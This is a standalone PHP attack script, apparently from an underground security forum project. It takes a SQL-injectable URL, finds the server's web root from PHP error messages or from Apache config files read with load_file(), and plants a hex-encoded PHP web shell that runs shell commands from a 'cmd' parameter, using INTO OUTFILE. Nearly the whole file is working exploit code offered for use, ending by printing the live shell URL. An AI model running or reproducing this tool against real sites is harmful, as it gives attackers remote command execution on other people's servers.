dumpshell.php

<?php
echo <<<EOF
------------------------------------------------------------
 Carregar uma shell com into outfile
 Uso: php dumpshell.php <url>
  A URL tem o formato  http://localhost/test.php?usuario=-1'+union+select+/*SQLI*/,2/*OFILE*/+--+'
 /*SQLI*/ Substitui uma coluna que é impresso
 /*OFILE*/ va entre la ultima columna y el final de la inyección (generalmente un comentario)

 By seth: xd [-dot-] seth [.at.] gmail {~dot~} com           http://xd-blog.com.ar/
 Parte del proyecto ISIR de http://foro.undersecurity.net/
------------------------------------------------------------


EOF;

sqli_dump($argv[1]);

/*
 Hace una petición get y devuelve la respuesta
*/
function GET($url){
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER  ,1);
    curl_setopt($ch, CURLOPT_HEADER      ,0);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317  Firefox/3.0.4');
    $data = curl_exec($ch);
    curl_close($ch);
    return $data;
}

/*
 Gera uma sequência aleatória
 http://phpes.wordpress.com/2007/06/12/generador-de-una-cadena-aleatoria/
*/
function random_string($length=10, $ucase=TRUE, $numbers=TRUE, $symbols=FALSE)
{
    $source = 'abcdefghijklmnopqrstuvwxyz';
    if($ucase) $source .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
    if($numbers) $source .= '1234567890';
    if($symbols) $source .= '|@#~$%()=^*+[]{}-_';
    if($length>0){
        $rstr = "";
        $source = str_split($source,1);
        for($i=1; $i<=$length; $i++){
            mt_srand((double)microtime() * 1000000);
            $num = mt_rand(1,count($source));
            $rstr .= $source[$num-1];
        }
    }
    return $rstr;
}



/*
 Coloque uma marca de cotação e pegar o aviso php. precisa error_reporting
*/
function get_path_error($url){
    $url= str_replace('/*SQLI*/',"'+srch",$url);
    $data = GET($url);

    preg_match('@<b>Warning</b>:  .+? in <b>(.+?)</b> on line <b>[0-9]+</b><br />@', $data, $resultados);
    if($resultados[1]){
        return dirname($resultados[1]); //dirname es para eliminar el nombre del archivo
    }else{
        return FALSE;
    }
}


/*
Tente carregar o arquivo de configuração com load_file ()
*/
function get_path_httpdconf($url){

    // http://wiki.apache.org/httpd/DistrosDefaultLayout
    $httpdconf_location = array(
        'C:/Program Files/Apache Software Foundation/Apache2.2/conf/httpd.conf',
        '/usr/local/apache2/conf/httpd.conf',
        '/usr/pkg/etc/httpd/httpd.conf',
        '/usr/local/etc/apache22/httpd.conf',
        '/usr/local/etc/apache2/httpd.conf',
        '/etc/apache2/apache2.conf',
        '/etc/apache2/httpd.conf',
        '/etc/httpd/httpd.conf',
        '/etc/httpd/conf/httpd.conf',
        '/etc/conf.d/apache2',
        '/opt/lampp/etc/httpd.conf',
        );

    foreach ($httpdconf_location as $httpdconf){
        $url_completa = str_replace('/*SQLI*/', urlencode("concat(0x504154484d415443484845524531, load_file(0x".bin2hex($httpdconf)."), 0x504154484d415443484845524532)"),$url);; //load_file() y dos strings a los costados que nos sirven para saber con que parte quedarnos
        $data = GET($url_completa);

        preg_match('@PATHMATCHHERE1(.*?)PATHMATCHHERE2@s', $data, $archivo); //aislamos el archivo
        preg_match('@DocumentRoot "(.+?)"@i', $archivo[1], $resultados); //leemos el documentroot
        if($resultados[1]){
            return $resultados[1];
        }
    }
    return FALSE;
}



// Sube una shell con into outfile
// $url tiene este formato http://localhost/test.php?usuario=-1'+union+select+/*SQLI*/,2/*OFILE*/+--+'
// /*SQLI*/ reemplaza una columna que se imprime
// /*OFILE*/ va entre la ultima columna y el final de la inyección (generalmente un comentario)


function sqli_dump($url){
    $paths = array(
        '',
        '/thumbnails',
        '/images',
        '/img',
        '/cache',
        '/tmp',
        '/temp',
        '/imagenes'
    );
    $shell = '0x3c3f504850206563686f2027756e64272e2765727365633c62723e273b20706173737468727528245f4745545b27636d64275d293b203f3e'; /* <?PHP echo 'und'.'ersec<br>'; passthru($_GET['cmd']); ?> */
    $match_string = 'undersec';
    $random_name = random_string(10, FALSE, TRUE, FALSE).'.php';


    if ($fullpath = get_path_error($url)) {
        //queda asi
    }elseif ($fullpath = get_path_httpdconf($url)) {
        $fullpath.= dirname(parse_url($url, PHP_URL_PATH));
    }else{
        echo 'No se pudo sacar el path :('."\n";
        return FALSE;
    }
    echo 'Path: '.$fullpath."\n";

    foreach ($paths as $thispath)
    {
        $thisurl =  str_replace('/*SQLI*/', $shell, $url);
        $thisurl =  str_replace('/*OFILE*/', "+into+outfile+'".urlencode($fullpath.$thispath.'/'.$random_name)."'", $thisurl);
        $data = GET($thisurl);

        $shell_url = dirname($thisurl).$thispath.'/'.$random_name;
        $data =  GET($shell_url);
        if(strpos($data, $match_string) !== FALSE){
            echo 'Shell: '.$shell_url.'?cmd=id'."\n";
            return $shell_url;
        }
    }
    echo 'No se pudo meter la shell '."\n";
    return FALSE;

}

?>